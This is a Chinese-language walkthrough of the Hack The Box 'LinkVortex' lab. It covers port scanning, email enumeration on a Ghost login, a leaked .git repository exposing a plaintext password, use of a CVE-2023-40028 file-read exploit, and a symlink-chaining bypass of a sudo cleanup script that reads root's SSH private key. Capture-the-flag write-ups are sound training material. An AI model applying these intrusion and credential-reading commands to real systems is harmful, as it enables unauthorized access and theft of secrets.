nmap
nmap -p- -A -sS -T 4 10.10.11.47
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-22 00:58 UTC┌──(root㉿kali)-[/home/ftpuserr]
└─# nmap -p- -A -sS -T4 10.10.11.47
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-22 00:58 UTC
Stats: 0:02:28 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 25.35% done; ETC: 01:08 (0:07:16 remaining)
Nmap scan report for 10.10.11.47
Host is up (0.18s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://linkvortex.htb/
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE (using port 1720/tcp)
HOP RTT ADDRESS
1 195.43 ms 10.10.16.1
2 87.29 ms linkvortex.htb (10.10.11.47)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 710.21 seconds
访问web页面 会跳转到域名
扫到个robots 目录
依次访问一下他提供的路径
http://linkvortex.htb/ghost/ 是个后台
因为他要求输入的是邮箱
我就尝试猜测 admin@linkvortex.htb 这个邮箱 以及密码 是admin
虽然他报错了显示密码不对 但这也侧面说明我们的邮箱是对的
如果我们输入一个不存在的邮箱看看
他会显示邮箱不存在
尝试搜索ghost的默认密码
发现并没有
发现版本
搜索exp
https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028/blob/master/CVE-2023-40028
但是这个exp 也是需要登录的
卡住了 求助了一下外国友人
才知道要子域名爆破
http://dev.linkvortex.htb/.git/ .git 源码泄露
能发现密码
OctopiFociPilfer45
利用之前的exp 成功执行任意文件读取
于是我尝试读取了一下/home/node/id_rsa
发现并没有
这导致我卡了非常久
后来发现原来在他的.git泄露的源码Dockerfile.ghost里面就有
能够读取到用户名以及密码
ssh登录成功
sudo -l 发现 能执行(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
看看这个脚本在干什么
点击查看代码
#!/bin/bashQUAR_DIR="/var/quarantined"if [ -z $CHECK_CONTENT ];thenCHECK_CONTENT=false
fiLINK=$1if ! [[ "$LINK" =~ \.png$ ]]; then/usr/bin/echo "! First argument must be a png file !"exit 2
fiif /usr/bin/sudo /usr/bin/test -L $LINK;thenLINK_NAME=$(/usr/bin/basename $LINK)LINK_TARGET=$(/usr/bin/readlink $LINK)if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"/usr/bin/unlink $LINKelse/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"/usr/bin/mv $LINK $QUAR_DIR/if $CHECK_CONTENT;then/usr/bin/echo "Content:"/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/nullfifi
fi
代码分几个功能点
1.
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
这个功能是检查环境变量CHECK_CONTENT 是否为true 如果没有设置 默认为false
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
这部我们的文件 名称复制给LINK_NAME
将我们文件所链接的 文件赋值给LINK_TARGET
3
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
检查链接的内容是否包含etc 或者 root字样 如果有就执行下面的代码
4
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
如果不符合3的特征 就会将我们的文件移动到$QUAR_DIR/ 这个目录下面然后
检查CHECK_CONTENT是否为true 如果为true 就会用cat 查看我们文件所链接的内容
接下来我们来讲解一下漏洞成因
这里我们来看看
我们将 1 链接 /etc/shadow 文件
然后将 2.png 链接 1
当我们使用readlink命令的时候 你会发现 2.png 链接的内容是 1
但是我们cat 2.png 的时候依旧能读取/etc/shadow的文件
这就巧妙的绕过了 他的脚本检查 链接是否包含etc 或者root的字样
开始实践
export CHECK_CONTENT=true
ln -s /root/.ssh/id_rsa rsa
ln -s /home/bob/rsa /home/bob/rsa.png
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/rsa.png
成功读取到root的私钥 提权成功